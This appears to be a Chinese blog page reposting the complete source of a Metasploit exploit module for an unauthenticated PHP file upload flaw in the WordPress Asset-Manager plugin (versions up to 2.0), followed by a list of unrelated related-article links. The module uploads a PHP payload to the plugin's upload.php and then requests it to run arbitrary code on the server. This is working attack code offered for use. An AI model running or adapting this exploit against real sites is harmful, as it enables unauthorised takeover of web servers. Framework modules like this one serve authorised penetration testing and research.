这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

#   http://metasploit.com/framework/

##

require 'msf/core'

require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::PhpEXE

def initialize(info = {})

super(update_info(info,

'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',

'Description'    => %q{

This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress

plugin.  By abusing the upload.php file, a malicious user can upload a file to a

temp directory without authentication, which results in arbitrary code execution.

},

'Author'         =>

[

'Sammy FORGIT', # initial discovery

'James Fitts ' # metasploit module

],

'License'        => MSF_LICENSE,

'References'     =>

[

[ 'OSVDB', '82653' ],

[ 'BID', '53809' ],

[ 'EDB', '18993' ],

[ 'URL', 'http://www.hack1990.com/' ]

],

'Payload'       =>

{

'BadChars' => "\x00",

},

'Platform'       => 'php',

'Arch'           => ARCH_PHP,

'Targets'        =>

[

[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],

[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]

],

'DefaultTarget' => 0,

'DisclosureDate' => 'May 26 2012'))

register_options(

[

OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])

], self.class)

end

def exploit

uri =  target_uri.path

uri << '/' if uri[-1,1] != '/'

peer = "#{rhost}:#{rport}"

payload_name = "#{rand_text_alpha(5)}.php"

php_payload = get_write_exec_payload(:unlink_self=>true)

data = Rex::MIME::Message.new

data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")

post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{peer} - Uploading payload #{payload_name}")

res = send_request_cgi({

'method'  => 'POST',

'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",

'ctype'   => "multipart/form-data; boundary=#{data.bound}",

'data'    => post_data

})

if not res or res.code != 200 or res.body !~ /#{payload_name}/

fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")

end

print_status("#{peer} - Executing payload #{payload_name}")

res = send_request_raw({

'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",

'method'  => 'GET'

})

if res and res.code != 200

fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")

end

end

end

wordpress漏洞上传php文件夹,WordPress Asset-Manager PHP文件上传漏洞相关推荐

  1. putty怎么进入文件夹_如何利用putty工具上传文件 - 卡饭网

    图解使用FTP工具上传文件以FlashFXP为例 图解使用FTP工具上传文件以FlashFXP为例 现以FlashFXP为例,图解使用FTP工具上传文件. 1: 运行 LeapFTP,点击1处(站点- ...

  2. vue对文件夹进行拖拽上传完整流程(文件夹中超出100个文件)

    前言 上个文章介绍了多图片压缩,多图片可以通过直接多选图片进行拖拽,也可以通过直接拖拽文件夹进行解析得到多图片,接下来直接上代码 先展示文件拖拽后对文件的解析效果 图片文件夹 图片文件夹解析 大文件夹 ...

  3. npm run build打包产生的build文件夹通过nginx部署到服务器上访问(centos8)

    首先在当前目录下,用npm run build命令将文件打包到build文件夹(或者是其他文件夹名) 把build目录传到服务器上 打开终端(提一句,Windows在Microsoft store里新 ...

  4. 【无标题】FTP文件夹错误:打开FTP服务器上的文件夹时发生错误。请检查是否有权限访问该文件夹。

    问题描述:通过我的电脑或资源管理器连接FTP服务器时提示"FTP文件夹错误:打开FTP服务器上的文件夹时发生错误.请检查是否有权限访问该文件夹.详细信息:The operation time ...

  5. scp服务器复制命令跳过已有的文件夹,Linux scp命令复制文件到其它服务器上

    例如:我想将59.64.30.101中的文件复制到59.64.28.78服务器.步骤如下: 1.59.64.30.101终端执行如下命令 #ssh-keygen -t rsa 2.密钥生成后会在/ro ...

  6. Linux上新建文件夹并将另一个文件夹移动进来

    场景 在Linux上新建一个文件夹,并将另一个文件夹移动到新建的文件夹内. 实现 新建文件夹: mkdif  文件夹名字 比如: mkdir a 移动文件夹b到问价夹a中: mv b a 举例:

  7. 通过从备份中排除这些文件夹来节省Time Machine驱动器上的空间

    Are you getting notifications about a full Time Machine drive? Do you feel like your backups are tak ...

  8. 怎么设置服务器上的文件夹密码,文件服务器怎么设置文件夹密码

    文件服务器怎么设置文件夹密码 内容精选 换一换 远程桌面协议(Remote Desktop Protocol,RDP),是微软提供的多通道的远程登录协议.本节为您介绍如何使用RDP文件远程登录Wind ...

  9. vba 服务器上删除文件夹,Excel vba 如何操作文件夹的创建以及删除

    前景提要 之前我们在上一系列也是学了一些关于VBA创建文件夹的相关操作,我们是通过dir()方法来实现的,如果是简单的文件夹的创建的话,我们完全可以通过这个方法,但是在进行VBA代码执行的过程中,如果 ...

  10. 手机里tencent文件夹能删吗_手机上的文件夹能不能删?看完之后秒懂

    原标题:手机上的文件夹能不能删?看完之后秒懂 不知道你发现没有,在手机上有很多英文文件夹,光看文件名不知道是什么意思,很多都是打开之后才知道里面是放着什么东西. 在手机内存不足的时候,很多人会选择删除 ...

最新文章

  1. NLP情感分析 动手学深度学习博客
  2. C#和nodejs的互操作
  3. Java中的String数据类型归纳
  4. Makefile 自动产生依赖
  5. CSS之简单的双引号
  6. oracle多线程删除,请教高手:多线程访问时如何实现删除一个文件?
  7. labview 变量
  8. mysql事务操作代码_Mysql中事务的使用【mysql】
  9. SVN安装及使用教程图文详解
  10. 线序 RS232 RJ45 USB
  11. spring 源码解析
  12. MATLAB对数坐标图和统计图(semilogy/loglog)
  13. windows 7 64位 刷J-Link固件 无法识别成串口时 安装 sam-ba at91 usb to serial converter 驱动不成功的解决办法
  14. hdmi线和vga线哪个好?用HDMI线和VGA线,显示屏画质到底相差多大?
  15. 1096 大美数 – PAT乙级真题
  16. Manjaro引导项丢失修复
  17. 《深入理解Linux内核》-3.3. 进程切换
  18. 行人重识别综述学习笔记
  19. android混淆那些坑
  20. 声声入耳:音频新体验

热门文章

  1. 微信开发中,H5的video标签使用
  2. 面向对象课程 - T-shirt
  3. 明天要中秋节了,先来到简单“类”的题目
  4. 10 个最佳的网站分析方法
  5. 在webpack中使用eslint配置(详细教程)-js教程-PHP中文网
  6. 中本聪研究所创始人对Core的发展方向感到厌恶
  7. 移动开发web第一天
  8. 多线程面试题系列(12):多线程同步内功心法——PV操作上
  9. iOS Appstore 版本更新
  10. C# .net core 使用自定义的WebProxy